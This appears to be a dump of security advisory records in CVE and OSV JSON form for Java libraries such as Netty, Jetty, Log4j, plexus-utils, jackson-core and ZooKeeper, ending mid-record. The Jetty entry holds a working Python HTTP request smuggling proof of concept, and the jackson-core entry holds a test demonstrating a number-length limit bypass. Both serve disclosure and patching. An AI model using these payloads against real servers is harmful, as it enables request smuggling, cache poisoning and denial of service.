{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-42583",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-14T15:40:38.960180Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-14T15:41:07.253Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/netty/netty/security/advisories/GHSA-mj4r-2hfc-f8p6"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "netty",
          "vendor": "netty",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 4.2.0.Alpha1, \u003c 4.2.13.Final"
            },
            {
              "status": "affected",
              "version": "\u003c 4.1.133.Final"
            }
          ]
        },
        {
          "product": "netty-codec",
          "vendor": "io.netty",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 4.1.133.Final"
            }
          ]
        },
        {
          "product": "netty-codec-compression",
          "vendor": "io.netty",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 4.2.13.Final"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-400",
              "description": "CWE-400: Uncontrolled Resource Consumption",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-770",
              "description": "CWE-770: Allocation of Resources Without Limits or Throttling",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-13T18:09:19.817Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/netty/netty/security/advisories/GHSA-mj4r-2hfc-f8p6",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/netty/netty/security/advisories/GHSA-mj4r-2hfc-f8p6"
        }
      ],
      "source": {
        "advisory": "GHSA-mj4r-2hfc-f8p6",
        "discovery": "UNKNOWN"
      },
      "title": "Netty: Lz4FrameDecoder resource exhaustion"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-42583",
    "datePublished": "2026-05-13T18:09:19.817Z",
    "dateReserved": "2026-04-28T17:26:12.086Z",
    "dateUpdated": "2026-05-14T15:41:07.253Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 12.1.6"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty:jetty-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "12.1.0"
            },
            {
              "fixed": "12.1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 12.0.32"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty:jetty-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "12.0.0"
            },
            {
              "fixed": "12.0.33"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty:jetty-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.0"
            },
            {
              "last_affected": "11.0.27"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty:jetty-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "last_affected": "10.0.27"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty:jetty-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.4.0"
            },
            {
              "last_affected": "9.4.59"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-2332"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T23:40:31Z",
    "nvd_published_at": "2026-04-14T12:16:21Z",
    "severity": "HIGH"
  },
  "details": "### Description (as reported)\n\nJetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.\n\n### Background\n\nThis vulnerability is a new variant discovered while researching the \"Funky Chunks\" HTTP request smuggling techniques:\n- https://w4ke.info/2025/06/18/funky-chunks.html\n- https://w4ke.info/2025/10/29/funky-chunks-2.html\n\nThe original research tested various chunk extension parsing differentials but did not test quoted-string handling within extension values.\n\n### Technical Details\n\n**RFC 9112 Section 7.1.1** defines chunked transfer encoding:\n```\nchunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF\nchunk-ext = *( BWS \";\" BWS chunk-ext-name [ BWS \"=\" BWS chunk-ext-val ] )\nchunk-ext-val = token / quoted-string\n```\n\n**RFC 9110 Section 5.6.4** defines quoted-string:\n```\nquoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE\n```\n\nA quoted-string continues until the closing DQUOTE, and `\\r\\n` sequences are not permitted within the quotes.\n\n### Vulnerability\n\nJetty terminates chunk header parsing at `\\r\\n` inside quoted strings instead of treating this as an error.\n\n**Expected (RFC compliant):**\n```\nChunk: 1;a=\"value\\r\\nhere\"\\r\\n\n         ^^^^^^^^^^^^^^^^^^ extension value\nBody: [1 byte after the real \\r\\n]\n```\n\n**Actual (jetty):**\n```\nChunk: 1;a=\"value\n            ^^^^^ terminates here (WRONG)\nBody: here\"... treated as body/next request\n```\n\n### Proof of Concept\n\n```python\n#!/usr/bin/env python3\nimport socket\n\npayload = (\n    b\"POST / HTTP/1.1\\r\\n\"\n    b\"Host: localhost\\r\\n\"\n    b\"Transfer-Encoding: chunked\\r\\n\"\n    b\"\\r\\n\"\n    b\u00271;a=\"\\r\\n\u0027\n    b\"X\\r\\n\"\n    b\"0\\r\\n\"\n    b\"\\r\\n\"\n    b\"GET /smuggled HTTP/1.1\\r\\n\"\n    b\"Host: localhost\\r\\n\"\n    b\"Content-Length: 11\\r\\n\"\n    b\"\\r\\n\"\n    b\u0027\"\\r\\n\u0027\n    b\"Y\\r\\n\"\n    b\"0\\r\\n\"\n    b\"\\r\\n\"\n)\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(3)\nsock.connect((\"127.0.0.1\", 8080))\nsock.sendall(payload)\n\nresponse = b\"\"\nwhile True:\n    try:\n        chunk = sock.recv(4096)\n        if not chunk:\n            break\n        response += chunk\n    except socket.timeout:\n        break\n\nsock.close()\nprint(f\"Responses: {response.count(b\u0027HTTP/\u0027)}\")\nprint(response.decode(errors=\"replace\"))\n```\n\n**Result:** Server returns 2 HTTP responses from a single TCP connection.\n\n#### Parsing Breakdown\n\n| Parser | Request 1 | Request 2 |\n|--------|-----------|-----------|\n| jetty (vulnerable) | POST / body=\"X\" | GET /smuggled (SMUGGLED!) |\n| RFC compliant | POST / body=\"Y\" | (none - smuggled request hidden in extension) |\n\n### Impact\n\n- **Request Smuggling**: Attacker injects arbitrary HTTP requests\n- **Cache Poisoning**: Smuggled responses poison shared caches\n- **Access Control Bypass**: Smuggled requests bypass frontend security\n- **Session Hijacking**: Smuggled requests can steal other users\u0027 responses\n\n### Reproduction\n\n1. Start the minimal POC with docker\n2. Run the poc script provided in same zip\n\n### Suggested Fix\n\nEnsure the chunk framing and extensions are parsed exactly as specified in RFC9112. \nA CRLF inside a quoted-string should be considered a parsing error and not a line terminator.\n\n\n### Patches\nNo patches yet.\n\n### Workarounds\nNo workarounds yet.\n\n### References\n\n- RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)\n- Funky Chunks Research: https://w4ke.info/2025/06/18/funky-chunks.html\n- details for security versions https://jetty.org/security.html",
  "id": "GHSA-355h-qmc2-wpwf",
  "modified": "2026-05-20T00:30:03Z",
  "published": "2026-04-14T23:40:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jetty/jetty.project/security/advisories/GHSA-355h-qmc2-wpwf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2332"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jetty/jetty.project"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.eclipse.org/security/cve-assignment/-/issues/89"
    },
    {
      "type": "WEB",
      "url": "https://w4ke.info/2025/06/18/funky-chunks.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Jetty has HTTP Request Smuggling via Chunked Extension Quoted-String Parsing"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.logging.log4j:log4j-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0-alpha1"
            },
            {
              "fixed": "2.25.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.logging.log4j:log4j-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0-alpha1"
            },
            {
              "last_affected": "3.0.0-beta3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34480"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T21:16:41Z",
    "nvd_published_at": "2026-04-10T16:16:31Z",
    "severity": "MODERATE"
  },
  "details": "Apache Log4j Core\u0027s [`XmlLayout`](https://logging.apache.org/log4j/2.x/manual/layouts.html#XmlLayout), in versions up to and including 2.25.3, fails to sanitize characters forbidden by the [XML 1.0 specification](https://www.w3.org/TR/xml/#charsets), producing invalid XML output whenever a log message or MDC value contains such characters.\n\nThe impact depends on the StAX implementation in use:\n\n  *  **JRE built-in StAX**: Forbidden characters are silently written to the output, producing malformed XML. Conforming parsers must reject such documents with a fatal error, which may cause downstream log-processing systems to drop the affected records.\n  *  **Alternative StAX implementations** (e.g., [Woodstox](https://github.com/FasterXML/woodstox), a transitive dependency of the Jackson XML Dataformat module): An exception is thrown during the logging call, and the log event is never delivered to its intended appender, only to Log4j\u0027s internal status logger.\n\nUsers are advised to upgrade to Apache Log4j Core 2.25.4, which corrects this issue by sanitizing forbidden characters before XML output.",
  "id": "GHSA-3pxv-7cmr-fjr4",
  "modified": "2026-04-13T23:57:22Z",
  "published": "2026-04-10T18:31:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34480"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/logging-log4j2/pull/4077"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/logging-log4j2"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/5x0hcnng0chhghp6jgjdp3qmbbhfjzhb"
    },
    {
      "type": "WEB",
      "url": "https://logging.apache.org/cyclonedx/vdr.xml"
    },
    {
      "type": "WEB",
      "url": "https://logging.apache.org/log4j/2.x/manual/layouts.html#XmlLayout"
    },
    {
      "type": "WEB",
      "url": "https://logging.apache.org/security.html#CVE-2026-34480"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/04/10/9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Apache Log4j Core: Silent log event loss in XmlLayout due to unescaped XML 1.0 forbidden characters"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.logging.log4j:log4j-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.21.0"
            },
            {
              "fixed": "2.25.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.logging.log4j:log4j-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0-beta1"
            },
            {
              "last_affected": "3.0.0-beta3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34478"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-117",
      "CWE-684"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T00:13:29Z",
    "nvd_published_at": "2026-04-10T16:16:31Z",
    "severity": "MODERATE"
  },
  "details": "Apache Log4j Core\u0027s [`Rfc5424Layout`](https://logging.apache.org/log4j/2.x/manual/layouts.html#RFC5424Layout), in versions 2.21.0 through 2.25.3, is vulnerable to log injection via CRLF sequences due to undocumented renames of security-relevant configuration attributes.\n\nTwo distinct issues affect users of stream-based syslog services who configure Rfc5424Layout directly:\n\n  *  The `newLineEscape` attribute was silently renamed, causing newline escaping to stop working for users of TCP framing (RFC 6587), exposing them to CRLF injection in log output.\n  *  The `useTlsMessageFormat` attribute was silently renamed, causing users of TLS framing (RFC 5425) to be silently downgraded to unframed TCP (RFC 6587), without newline escaping.\n\nUsers of the `SyslogAppender` are not affected, as its configuration attributes were not modified.\n\nUsers are advised to upgrade to Apache Log4j Core 2.25.4, which corrects this issue.",
  "id": "GHSA-445c-vh5m-36rj",
  "modified": "2026-04-14T00:13:29Z",
  "published": "2026-04-10T18:31:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34478"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/logging-log4j2/pull/4074"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/logging-log4j2"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/3k1clr2l6vkdnl4cbhjrnt1nyjvb5gwt"
    },
    {
      "type": "WEB",
      "url": "https://logging.apache.org/cyclonedx/vdr.xml"
    },
    {
      "type": "WEB",
      "url": "https://logging.apache.org/log4j/2.x/manual/layouts.html#RFC5424Layout"
    },
    {
      "type": "WEB",
      "url": "https://logging.apache.org/security.html#CVE-2026-34478"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/04/10/7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Apache Log4j Core: log injection in `Rfc5424Layout` due to silent configuration incompatibility"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.codehaus.plexus:plexus-utils"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.codehaus.plexus:plexus-utils"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-67030"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T19:40:25Z",
    "nvd_published_at": "2026-03-25T18:16:25Z",
    "severity": "HIGH"
  },
  "details": "Directory Traversal vulnerability in the extractFile method of org.codehaus.plexus.util.Expand in plexus-utils before 6d780b3378829318ba5c2d29547e0012d5b29642. This allows an attacker to execute arbitrary code",
  "id": "GHSA-6fmv-xxpf-w3cw",
  "modified": "2026-04-08T23:18:35Z",
  "published": "2026-03-25T18:31:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67030"
    },
    {
      "type": "WEB",
      "url": "https://github.com/codehaus-plexus/plexus-utils/issues/294"
    },
    {
      "type": "WEB",
      "url": "https://github.com/codehaus-plexus/plexus-utils/pull/295"
    },
    {
      "type": "WEB",
      "url": "https://github.com/codehaus-plexus/plexus-utils/pull/296"
    },
    {
      "type": "WEB",
      "url": "https://github.com/codehaus-plexus/plexus-utils/commit/6d780b3378829318ba5c2d29547e0012d5b29642"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/weaver4VD/3216dac645220f8c9b488362f61241ec"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/codehaus-plexus/plexus-utils"
    },
    {
      "type": "WEB",
      "url": "https://github.com/codehaus-plexus/plexus-utils/releases/tag/plexus-utils-4.0.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Plexus-Utils has a Directory Traversal vulnerability in its extractFile method "
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.logging.log4j:log4j-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.12.0"
            },
            {
              "fixed": "2.25.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.logging.log4j:log4j-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0-alpha1"
            },
            {
              "last_affected": "3.0.0-beta3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34477"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-297"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T00:11:55Z",
    "nvd_published_at": "2026-04-10T16:16:30Z",
    "severity": "MODERATE"
  },
  "details": "The fix for  CVE-2025-68161 was incomplete: it addressed hostname verification only when enabled via the  [`log4j2.sslVerifyHostName`](https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName) system property, but not when configured through the [`verifyHostName`](https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName) attribute of the `\u003cSsl\u003e` element.\n\nAlthough the `verifyHostName` configuration attribute was introduced in Log4j Core 2.12.0, it was silently ignored in all versions through 2.25.3, leaving TLS connections vulnerable to interception regardless of the configured value.\n\nA network-based attacker may be able to perform a man-in-the-middle attack when all of the following conditions are met:\n\n  *  An SMTP, Socket, or Syslog appender is in use.\n  *  TLS is configured via a nested \u003cSsl\u003e element.\n  *  The attacker can present a certificate issued by a CA trusted by the appender\u0027s configured trust store, or by the default Java trust store if none is configured.\n\nThis issue does not affect users of the HTTP appender, which uses a separate [`verifyHostname`](https://logging.apache.org/log4j/2.x/manual/appenders/network.html#HttpAppender-attr-verifyHostName) attribute that was not subject to this bug and verifies host names by default.\n\nUsers are advised to upgrade to Apache Log4j Core 2.25.4, which corrects this issue.",
  "id": "GHSA-6hg6-v5c8-fphq",
  "modified": "2026-04-14T00:11:55Z",
  "published": "2026-04-10T18:31:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34477"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/logging-log4j2/pull/4075"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/logging-log4j2"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/lkx8cl46t2bvkcwfcb2pd43ygc097lq4"
    },
    {
      "type": "WEB",
      "url": "https://logging.apache.org/cyclonedx/vdr.xml"
    },
    {
      "type": "WEB",
      "url": "https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName"
    },
    {
      "type": "WEB",
      "url": "https://logging.apache.org/security.html#CVE-2026-34477"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Apache Log4j Core: `verifyHostName` attribute silently ignored in TLS configuration"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "tools.jackson.core:jackson-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.19.0"
            },
            {
              "fixed": "2.21.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.18.5"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.18.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-28T02:01:05Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).\n\nThe standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.\n\n### Details\nThe root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.\n\n- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.\n- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.\n- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.\n- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.\n\n### PoC\nThe following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.\n\n```java\npackage tools.jackson.core.unittest.dos;\n\nimport java.nio.charset.StandardCharsets;\n\nimport org.junit.jupiter.api.Test;\n\nimport tools.jackson.core.*;\nimport tools.jackson.core.exc.StreamConstraintsException;\nimport tools.jackson.core.json.JsonFactory;\nimport tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;\n\nimport static org.junit.jupiter.api.Assertions.*;\n\n/**\n * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers\n *\n * Authors: sprabhav7, rohan-repos\n * \n * maxNumberLength default = 1000 characters (digits).\n * A number with more than 1000 digits should be rejected by any parser.\n *\n * BUG: The async parser never calls resetInt()/resetFloat() which is where\n * validateIntegerLength()/validateFPLength() lives. Instead it calls\n * _valueComplete() which skips all number length validation.\n *\n * CWE-770: Allocation of Resources Without Limits or Throttling\n */\nclass AsyncParserNumberLengthBypassTest {\n\n    private static final int MAX_NUMBER_LENGTH = 1000;\n    private static final int TEST_NUMBER_LENGTH = 5000;\n\n    private final JsonFactory factory = new JsonFactory();\n\n    // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength\n    @Test\n    void syncParserRejectsLongNumber() throws Exception {\n        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\t\t\n\t\t// Output to console\n        System.out.println(\"[SYNC] Parsing \" + TEST_NUMBER_LENGTH + \"-digit number (limit: \" + MAX_NUMBER_LENGTH + \")\");\n        try {\n            try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {\n                while (p.nextToken() != null) {\n                    if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n                        System.out.println(\"[SYNC] Accepted number with \" + p.getText().length() + \" digits \u2014 UNEXPECTED\");\n                    }\n                }\n            }\n            fail(\"Sync parser must reject a \" + TEST_NUMBER_LENGTH + \"-digit number\");\n        } catch (StreamConstraintsException e) {\n            System.out.println(\"[SYNC] Rejected with StreamConstraintsException: \" + e.getMessage());\n        }\n    }\n\n    // VULNERABILITY: Async parser accepts the SAME number that sync rejects\n    @Test\n    void asyncParserAcceptsLongNumber() throws Exception {\n        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\n        NonBlockingByteArrayJsonParser p =\n            (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());\n        p.feedInput(payload, 0, payload.length);\n        p.endOfInput();\n\n        boolean foundNumber = false;\n        try {\n            while (p.nextToken() != null) {\n                if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n                    foundNumber = true;\n                    String numberText = p.getText();\n                    assertEquals(TEST_NUMBER_LENGTH, numberText.length(),\n                        \"Async parser silently accepted all \" + TEST_NUMBER_LENGTH + \" digits\");\n                }\n            }\n            // Output to console\n            System.out.println(\"[ASYNC INT] Accepted number with \" + TEST_NUMBER_LENGTH + \" digits \u2014 BUG CONFIRMED\");\n            assertTrue(foundNumber, \"Parser should have produced a VALUE_NUMBER_INT token\");\n        } catch (StreamConstraintsException e) {\n            fail(\"Bug is fixed \u2014 async parser now correctly rejects long numbers: \" + e.getMessage());\n        }\n        p.close();\n    }\n\n    private byte[] buildPayloadWithLongInteger(int numDigits) {\n        StringBuilder sb = new StringBuilder(numDigits + 10);\n        sb.append(\"{\\\"v\\\":\");\n        for (int i = 0; i \u003c numDigits; i++) {\n            sb.append((char) (\u00271\u0027 + (i % 9)));\n        }\n        sb.append(\u0027}\u0027);\n        return sb.toString().getBytes(StandardCharsets.UTF_8);\n    }\n}\n\n```\n\n\n### Impact\nA malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:\n1.  **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number\u0027s digits, leading to an `OutOfMemoryError`.\n2.  **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.\n\n### Suggested Remediation\n\nThe async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.\n\n**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)",
  "id": "GHSA-72hv-8253-57qq",
  "modified": "2026-04-07T16:30:17Z",
  "published": "2026-02-28T02:01:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/pull/1555"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/commit/b0c428e6f993e1b5ece5c1c3cb2523e887cd52cf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FasterXML/jackson-core"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.zookeeper:zookeeper"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.8.0"
            },
            {
              "fixed": "3.8.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.zookeeper:zookeeper"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.9.0"
            },
            {
              "fixed": "3.9.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-24281"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295",
      "CWE-297"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-10T19:32:52Z",
    "nvd_published_at": "2026-03-07T09:16:07Z",
    "severity": "HIGH"
  },
